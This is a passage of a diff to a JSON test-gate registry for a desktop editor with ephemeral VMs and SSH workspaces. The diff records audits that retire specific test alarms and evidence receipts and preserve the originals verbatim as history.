-      "oracle": "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        } Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Write one ordinary schema-v1 runtime and one provisioned-root runtime. Require the exact pre-#14352 reader to return both, run the old destroy lifecycle against the projected provisioned record, then require the candidate to retain the cleaned state while restoring schema-v2 and checkout-mode metadata. The same old reader must reject affected-main and fix-reverted bytes. Malformed, oversized, unknown-record, and future-version feature sidecars must leave rollback-compatible records accessible and must not be overwritten during compatible lifecycle mutations. Require destroy to have no implicit deadline, stop a hung destroy through the public desktop action, require cleanup_failed plus a fresh successful retry, prove provider or project-host rollback failure retains every ownership record required to retry, and prove missing recipe context cannot leave an unremovable hidden SSH registration. Supply the source ref's captured commit to create, reject a provisioned checkout on the wrong branch/ref, and reject a resume that changes connection mode or SSH ownership.",
+      "oracle": "Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed. Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        } Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Write one ordinary schema-v1 runtime and one provisioned-root runtime. Require the exact pre-#14352 reader to return both, run the old destroy lifecycle against the projected provisioned record, then require the candidate to retain the cleaned state while restoring schema-v2 and checkout-mode metadata. The same old reader must reject affected-main and fix-reverted bytes. Malformed, oversized, unknown-record, and future-version feature sidecars must leave rollback-compatible records accessible and must not be overwritten during compatible lifecycle mutations. Require destroy to have no implicit deadline, stop a hung destroy through the public desktop action, require cleanup_failed plus a fresh successful retry, prove provider or project-host rollback failure retains every ownership record required to retry, and prove missing recipe context cannot leave an unremovable hidden SSH registration. Supply the source ref's captured commit to create, reject a provisioned checkout on the wrong branch/ref, and reject a resume that changes connection mode or SSH ownership.",
       "commands": [
         "node config/scripts/runtime-verification/ephemeral-store/run-ephemeral-vm-runtime-store-rollback-repro.mjs config/scripts/runtime-verification/ephemeral-store/ephemeral-vm-runtime-store-cross-version.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts src/shared/ephemeral-vm-runtime-store.test.ts src/shared/ephemeral-vm-runtime-store-rollback.test.ts src/shared/ephemeral-vm-recipe-process.test.ts src/main/ephemeral-vm/runtime-service.test.ts src/main/ephemeral-vm/recipe-runner.test.ts src/main/ephemeral-vm/runtime-ssh-cleanup.test.ts src/main/ipc/ephemeral-vm-runtime-handler-cleanup.test.ts src/main/ipc/ephemeral-vm-provision-cancel.test.ts src/main/ipc/ephemeral-vm-provisioned-root-ref.test.ts src/main/ipc/ephemeral-vm.test.ts src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts",
@@ -2721,7 +2652,8 @@
         "Audit1417 intentionally deletes src/renderer/src/lib/ephemeral-vm-workspace-target.test.ts: Loses wrapper-level host rebinding, incompatible provisioned-root refusal and best-effort cleanup-call alarms; all are mock-only orchestration projections. No equivalent replacement coverage or fresh result is claimed.",
         "Audit1853 accepts removal of the runtime-ssh-cleanup.test.ts alarm for repairing cleanup_failed/provider-succeeded records that already lack a target ID. No equivalent replacement coverage is claimed. Keep the surviving cleanup selector and unchanged cross-version rollback receipt; the historical 2026-08-14 122-case cleanup receipt remains archived verbatim in knownGaps.",
         "Audit1863 removes the standalone default-source-ref provisioning example. Its direct default-ref pinning alarm is intentionally lost; selected-ref pinning and invalid-ref cases remain without an equivalent replacement claim. Focused survivor execution does not validate the broad rollback selector or physical cross-version provisioning. Existing receipts retain their original commands and counts.",
-        "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        }"
+        "Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts: removes the imported project setup before destroying its VM; retains the VM when setup deletion throws; retains the VM when setup deletion reports no result. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Exact retired assertionRefs, preserved as historical objects only: {\n          \"file\": \"src/renderer/src/lib/ephemeral-vm-failed-create-cleanup.test.ts\",\n          \"assertions\": [\"failed or unconfirmed project-host rollback prevents provider destroy\"]\n        }",
+        "Audit 3292 retires the direct-SSH failed-project retention, managed-server failed-project retention and ordinary confirmed managed-VM destruction/no-repo.rm examples from repos-ephemeral-vm-cleanup-retention.test.ts. Host-scoped same-workspace isolation and stale renderer catalog reconciliation remain byte-identical. These three supplied-result alarms are intentionally lost without equivalent replacement. Existing selectors/assertionRefs, unrelated cross-version rollback receipt and archived complete 122-case cleanup receipt remain exact; no fresh broad runtime, provider, platform or mixed-version result is claimed."
       ],
       "demotionRule": "Demote if a new write fails the pinned rollback reader, a downgrade lifecycle mutation is lost after re-upgrade, malformed/future metadata overwrites recoverable bytes, ordinary v1 bytes change, user stop cannot settle a destroy process tree, cleanup loses retry ownership, an unrecoverable context leaves a permanent hidden SSH registration, or the focused gate flakes without an identified harness defect."
     },
@@ -2842,7 +2774,7 @@
       "id": "editor.restored-sibling-owner-reparent",
       "title": "Restored sibling tabs migrate filesystem authority before becoming editable",
       "maturity": "experimental",
-      "protection": "partial",
+      "protection": "none",
       "owner": "editor-runtime",
       "layer": "renderer-store-controller-contract",
       "surfaces": [
@@ -2852,63 +2784,30 @@
       ],
       "platforms": ["macos", "linux", "windows"],
       "providers": ["local", "ssh", "paired-runtime"],
-      "coveredPlatforms": ["macos"],
-      "coveredProviders": ["local", "ssh", "paired-runtime"],
-      "coverageNotes": "Deterministic store/controller tests cover local, direct-SSH, paired-runtime identity, folder workspaces, queue quiescence, stale route and connection-generation rejection, authoritative active-workspace projection, owner-derived IDs, drafts and editor maps, tab/group placement, exact watch replacement, change/delete/rename correlation, explicit save, autosave, collision refusal without activation reconciliation, provenance, and restart hot-exit persistence. Live headed/headless paired-runtime and post-establish Electron IPC remain uncollected. The test-value audit removed the standalone runtime-workspace file-route suite. Its direct same-host sibling, folder-root, exact-SSH, outside-path and directory-routing alarms are lost. Retained editor lifecycle contracts do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit narrows restored-editor-owner-reparent.test.ts by removing standalone unrelated-explorer-reveal, duplicate-tab repair/refusal, clean/dirty collision-table, watcher-target projection, folder-workspace context and direct-SSH provenance examples. Their exact scalar/ID/reference, selector and route/generation-field alarms are intentionally lost. The dirty collision variant did not assert preservation of its destination draft, and the main-owned duplicate-tab branch checked a synthetic missing-group refusal rather than duplicate repair. Remaining authored cases still check coupled dirty-state migration, subscribed activation, hot-exit roundtrip, rejection without destination reconciliation, mounted watch replacement and destination event correlation. They are not equivalent replacements for the deleted alarms. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed.",
+      "coveredPlatforms": [],
+      "coveredProviders": [],
+      "coverageNotes": "Audit3359 keeps two restored-editor-owner-reparent cases covering coupled dirty-editor/draft/preview/main-group migration and hot-exit serialization/hydration. The subscribed activation, collision refusal and mounted watch replacement/destination-event correlation alarms are intentionally lost without equivalent replacement. The complete compound dated receipt is retired verbatim. With no active receipt, protection and covered scope are cleared and prospective command/test-file/assertion selectors are retired; their complete originals and prior red/green/flake accounts remain historical in knownGaps. The retained reparent cases and unchanged save-lifecycle source remain reachable through broad unit execution, not active evidence for this gate. No fresh provider, filesystem restart, historical-import, mobile, mixed-version or cross-platform validation is claimed. Deterministic store/controller tests cover local, direct-SSH, paired-runtime identity, folder workspaces, queue quiescence, stale route and connection-generation rejection, authoritative active-workspace projection, owner-derived IDs, drafts and editor maps, tab/group placement, exact watch replacement, change/delete/rename correlation, explicit save, autosave, collision refusal without activation reconciliation, provenance, and restart hot-exit persistence. Live headed/headless paired-runtime and post-establish Electron IPC remain uncollected. The test-value audit removed the standalone runtime-workspace file-route suite. Its direct same-host sibling, folder-root, exact-SSH, outside-path and directory-routing alarms are lost. Retained editor lifecycle contracts do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit narrows restored-editor-owner-reparent.test.ts by removing standalone unrelated-explorer-reveal, duplicate-tab repair/refusal, clean/dirty collision-table, watcher-target projection, folder-workspace context and direct-SSH provenance examples. Their exact scalar/ID/reference, selector and route/generation-field alarms are intentionally lost. The dirty collision variant did not assert preservation of its destination draft, and the main-owned duplicate-tab branch checked a synthetic missing-group refusal rather than duplicate repair. Remaining authored cases still check coupled dirty-state migration, subscribed activation, hot-exit roundtrip, rejection without destination reconciliation, mounted watch replacement and destination event correlation. They are not equivalent replacements for the deleted alarms. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed.",
       "motivatingLinks": [
         "https://github.com/stablyai/orca/issues/11304",
         "https://github.com/stablyai/orca/pull/11369"
       ],
       "invariant": "A restored absolute path owned by a same-host sibling workspace cannot read, save, watch, or persist until old saves drain, the exact route and host generations are revalidated, and one authoritative activation transaction installs the sibling owner, target projection, editor state, reconciliation, and first-activation terminal preparation; collisions and stale routes fail before activation preparation or reconciliation.",
-      "oracle": "Hold an old-owner save in flight, start migration, then remove the sibling, change a folder root, or reconnect SSH and require owner migration to fail closed after quiescence. On a stable route require one coherent target-workspace projection, first-activation terminal generation preparation, destination authority for explicit save and autosave, exact watch replacement, destination-only change/delete/rename handling, owner-derived state rekeys, and hot-exit restart ownership. Seed an invalid destination tab/group model before a collision and require the target projection to remain byte-identical.",
-      "commands": [
-        "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts"
-      ],
-      "testFiles": [
-        "src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts",
-        "src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts"
-      ],
-      "assertionRefs": [
-        {
-          "file": "src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts",
-          "assertions": [
-            "one atomic commit rekeys owner-derived editor, preview, draft, cursor, view, tab, group, active, reveal, focus, provenance, and persistence state",
-            "active reparenting uses the centralized workspace activation transaction for terminal, browser, pending-creation, explorer, first-activation, and post-commit state",
-            "source watch unsubscribes once, destination watch subscribes once, and only destination change/delete/rename events reach the file",
-            "a destination collision fails closed without changing current selection or reconciling destination tabs and groups"
-          ]
-        },
-        {
-          "file": "src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts",
-          "assertions": [
-            "migration waits for the old save queue and routes later explicit and automatic saves through the destination worktree",
-            "a removed sibling, changed folder root, or changed direct-SSH generation after quiescence rejects migration without changing ownership"
-          ]
-        }
-      ],
-      "evidenceRuns": [
-        {
-          "date": "2026-08-03",
-          "runner": "local",
-          "platform": "macos",
-          "command": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts src/renderer/src/lib/runtime-workspace-file-route.test.ts",
-          "result": "passed",
-          "durationSeconds": 3,
-          "summary": "Three deterministic files passed 20 lifecycle, stale-route, activation, ownership, host, collision, persistence, watch, and save tests.",
-          "currentCommand": "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts"
-        }
-      ],
+      "oracle": "Audit3359 keeps two restored-editor-owner-reparent cases covering coupled dirty-editor/draft/preview/main-group migration and hot-exit serialization/hydration. The subscribed activation, collision refusal and mounted watch replacement/destination-event correlation alarms are intentionally lost without equivalent replacement. The complete compound dated receipt is retired verbatim. With no active receipt, protection and covered scope are cleared and prospective command/test-file/assertion selectors are retired; their complete originals and prior red/green/flake accounts remain historical in knownGaps. The retained reparent cases and unchanged save-lifecycle source remain reachable through broad unit execution, not active evidence for this gate. No fresh provider, filesystem restart, historical-import, mobile, mixed-version or cross-platform validation is claimed. Hold an old-owner save in flight, start migration, then remove the sibling, change a folder root, or reconnect SSH and require owner migration to fail closed after quiescence. On a stable route require one coherent target-workspace projection, first-activation terminal generation preparation, destination authority for explicit save and autosave, exact watch replacement, destination-only change/delete/rename handling, owner-derived state rekeys, and hot-exit restart ownership. Seed an invalid destination tab/group model before a collision and require the target projection to remain byte-identical.",
+      "commands": [],
+      "testFiles": [],
+      "assertionRefs": [],
+      "evidenceRuns": [],
       "runtimeBudget": {
         "p95Seconds": 5,
         "scope": "focused renderer store/controller contract on a local development runner"
       },
       "flakeHistory": {
         "status": "unknown",
-        "evidence": "One local deterministic run is recorded; CI and soak history have not started."
+        "evidence": "Audit3359 retires the sole dated compound receipt. No fresh execution or soak history validates the reduced selector; original flake account is preserved verbatim as history."
       },
       "redGreenEvidence": {
-        "status": "complete",
-        "evidence": "The final2 verifier's byte-identical post-quiescence lifecycle scope passed 21/21 on 7890271160 and failed 7 tests on f92db196a1; base e08eba674c, published 1bcfe3bcb0, and revert b3627461ab were structurally red. The permanent collision oracle is in test blob ac62a89c671a0c8f081ebf06736715bd2150ce9f (SHA-256 a61970ace80be1cb56f781aee6f878a8446c6c4527f9eb0cd0c151d8df96bf50). The same byte-identical blob is structurally red on base, published, and revert, behaviorally red on rejected final2 candidate 7890271160 because pre-commit reconciliation removes the stale destination tab, and green on implementation b72a838cdc; the full permanent gate passes 20/20."
+        "status": "missing",
+        "evidence": "Audit3359 changes the referenced test source and retires collision/watch/activation oracles. No fresh red/green proof applies to the reduced selector. The complete prior account is preserved verbatim in knownGaps as historical only."
       },
       "performanceBudget": {
         "required": true,
@@ -2924,7 +2823,18 @@
         "Cold many-repo main-process sibling discovery remains a separately measured follow-up.",
         "Registered-workspace symlink policy remains inherited and unchanged.",
         "The test-value audit removed the standalone runtime-workspace file-route suite. Its direct same-host sibling, folder-root, exact-SSH, outside-path and directory-routing alarms are lost. Retained editor lifecycle contracts do not establish equivalent selector coverage; historical run commands and results remain historical.",
-        "The test-value audit narrows restored-editor-owner-reparent.test.ts by removing standalone unrelated-explorer-reveal, duplicate-tab repair/refusal, clean/dirty collision-table, watcher-target projection, folder-workspace context and direct-SSH provenance examples. Their exact scalar/ID/reference, selector and route/generation-field alarms are intentionally lost. The dirty collision variant did not assert preservation of its destination draft, and the main-owned duplicate-tab branch checked a synthetic missing-group refusal rather than duplicate repair. Remaining authored cases still check coupled dirty-state migration, subscribed activation, hot-exit roundtrip, rejection without destination reconciliation, mounted watch replacement and destination event correlation. They are not equivalent replacements for the deleted alarms. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed."
+        "The test-value audit narrows restored-editor-owner-reparent.test.ts by removing standalone unrelated-explorer-reveal, duplicate-tab repair/refusal, clean/dirty collision-table, watcher-target projection, folder-workspace context and direct-SSH provenance examples. Their exact scalar/ID/reference, selector and route/generation-field alarms are intentionally lost. The dirty collision variant did not assert preservation of its destination draft, and the main-owned duplicate-tab branch checked a synthetic missing-group refusal rather than duplicate repair. Remaining authored cases still check coupled dirty-state migration, subscribed activation, hot-exit roundtrip, rejection without destination reconciliation, mounted watch replacement and destination event correlation. They are not equivalent replacements for the deleted alarms. Historical executed commands, counts and results remain unchanged; no new live host, process restart or platform evidence is claimed.",
+        "Audit3359 keeps two restored-editor-owner-reparent cases covering coupled dirty-editor/draft/preview/main-group migration and hot-exit serialization/hydration. The subscribed activation, collision refusal and mounted watch replacement/destination-event correlation alarms are intentionally lost without equivalent replacement. The complete compound dated receipt is retired verbatim. With no active receipt, protection and covered scope are cleared and prospective command/test-file/assertion selectors are retired; their complete originals and prior red/green/flake accounts remain historical in knownGaps. The retained reparent cases and unchanged save-lifecycle source remain reachable through broad unit execution, not active evidence for this gate. No fresh provider, filesystem restart, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3359 historical original assertionRefs object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"file\": \"src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts\",\n          \"assertions\": [\n            \"one atomic commit rekeys owner-derived editor, preview, draft, cursor, view, tab, group, active, reveal, focus, provenance, and persistence state\",\n            \"active reparenting uses the centralized workspace activation transaction for terminal, browser, pending-creation, explorer, first-activation, and post-commit state\",\n            \"source watch unsubscribes once, destination watch subscribes once, and only destination change/delete/rename events reach the file\",\n            \"a destination collision fails closed without changing current selection or reconciling destination tabs and groups\"\n          ]\n        }",
+        "Audit3359 historical original evidenceRuns object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n          \"date\": \"2026-08-03\",\n          \"runner\": \"local\",\n          \"platform\": \"macos\",\n          \"command\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts src/renderer/src/lib/runtime-workspace-file-route.test.ts\",\n          \"result\": \"passed\",\n          \"durationSeconds\": 3,\n          \"summary\": \"Three deterministic files passed 20 lifecycle, stale-route, activation, ownership, host, collision, persistence, watch, and save tests.\",\n          \"currentCommand\": \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts\"\n        }",
+        "Audit3359 historical original protection object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"partial\"",
+        "Audit3359 historical original coveredPlatforms object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"macos\"]",
+        "Audit3359 historical original coveredProviders object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n[\"local\", \"ssh\", \"paired-runtime\"]",
+        "Audit3359 historical original redGreenEvidence object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"complete\",\n        \"evidence\": \"The final2 verifier's byte-identical post-quiescence lifecycle scope passed 21/21 on 7890271160 and failed 7 tests on f92db196a1; base e08eba674c, published 1bcfe3bcb0, and revert b3627461ab were structurally red. The permanent collision oracle is in test blob ac62a89c671a0c8f081ebf06736715bd2150ce9f (SHA-256 a61970ace80be1cb56f781aee6f878a8446c6c4527f9eb0cd0c151d8df96bf50). The same byte-identical blob is structurally red on base, published, and revert, behaviorally red on rejected final2 candidate 7890271160 because pre-commit reconciliation removes the stale destination tab, and green on implementation b72a838cdc; the full permanent gate passes 20/20.\"\n      }",
+        "Audit3359 historical original flakeHistory object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n{\n        \"status\": \"unknown\",\n        \"evidence\": \"One local deterministic run is recorded; CI and soak history have not started.\"\n      }",
+        "Audit3361 gate38 prospective commands selector retired; complete original preserved verbatim as historical only:\n[\n        \"pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts\"\n      ]",
+        "Audit3361 gate38 prospective testFiles selector retired; complete original preserved verbatim as historical only:\n[\n        \"src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts\",\n        \"src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts\"\n      ]",
+        "Audit3361 gate38 prospective assertionRefs selector retired; complete original preserved verbatim as historical only:\n[\n        {\n          \"file\": \"src/renderer/src/store/slices/editor/hydration/restored-editor-owner-reparent.test.ts\",\n          \"assertions\": [\n            \"coupled dirty-editor ID, draft, preview and main-group migration remains coherent\",\n            \"hot-exit serialization and hydration preserve migrated editor ownership and dirty state\"\n          ]\n        },\n        {\n          \"file\": \"src/renderer/src/components/editor/restored-editor-owner-save-lifecycle.test.ts\",\n          \"assertions\": [\n            \"migration waits for the old save queue and routes later explicit and automatic saves through the destination worktree\",\n            \"a removed sibling, changed folder root, or changed direct-SSH generation after quiescence rejects migration without changing ownership\"\n          ]\n        }\n      ]"
       ],
       "demotionRule": "Keep experimental or demote if migration can race a save, retain source authority, fan out watches, lose dirty/editor state, accept an owner-generation change, merge a collision, or the focused contract flakes without a product or harness bug."
     },
@@ -4202,10 +4112,10 @@
       "providers": ["remote-runtime"],
       "coveredPlatforms": ["macos"],
       "coveredProviders": ["remote-runtime"],
-      "coverageNotes": "Audit3246 retires NewRowsMarker reveal/no-repeat and pane-scoped beforeinput checks; skill-owner option availability/count/dedup/order; six styled Input/Textarea IME forwarding rows; the static Codex/OpenCode smart-key inventory; tab-map AST ratchet diagnostic fixtures; child-roster work-budget and retained-aggregate alarms; malformed persisted floating-cwd fallback/no-crash/empty exact-root checks; the unanswered-host empty-list discriminator; the direct invalidated-cache commit-false assertion; one redundant digit-keyup IME row; cached non-supported Claude title-generator rows; and the duplicate late naming-result singleton. These root broad commands lose those specific alarms without equivalent replacement. Distinct retained owner/state checks have their own bounded claims; the real scheduler still rejects stale response data, while the direct false-return alarm is retired. Audit3231 retires supported-host restore-pane key mapping, closed/open creation-sidebar toggle visibility, unrelated scope-error/null classification and quick-submit reveal/no-create checks. These broad commands lose those real narrow alarms; no replacement coverage is claimed. Audit3219 removes the synthetic Cmd+J extra-source suite; this broad command no longer checks its match/tie placement and selection, announced count, empty-query cap, or workspace hiding with retained recent tabs. No replacement coverage is claimed. Audit3209 composes approved sources3202/3206: deliberately retires seven authored/expanded cases in four whole suites without equivalent replacement. Work-item queries lose real GitHub/GitLab oversized ASCII secret-prefix empty-query and whitespace-before-trim refusal alarms; inputs share the imported size bound and exercise only its fast length branch, with no multibyte or actual provider/exposure guarantee. Skill sharing loses complete/partial managed-bundle and destination-ambiguity association checks plus three negative origin/path/scheme admission examples; these do not establish uploaded contents, arbitrary-URL fetching, authorization or execution. Retain exact originless-project direct-link fallback, cloud-delete confirmation, bundled-target repair/owner isolation and explicit Windows-host preference over stale WSL suites. Rejected3201 runtime-preference removal is excluded. No real cloud/network/host/disk, mobile or mixed-version execution validation is claimed. Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx 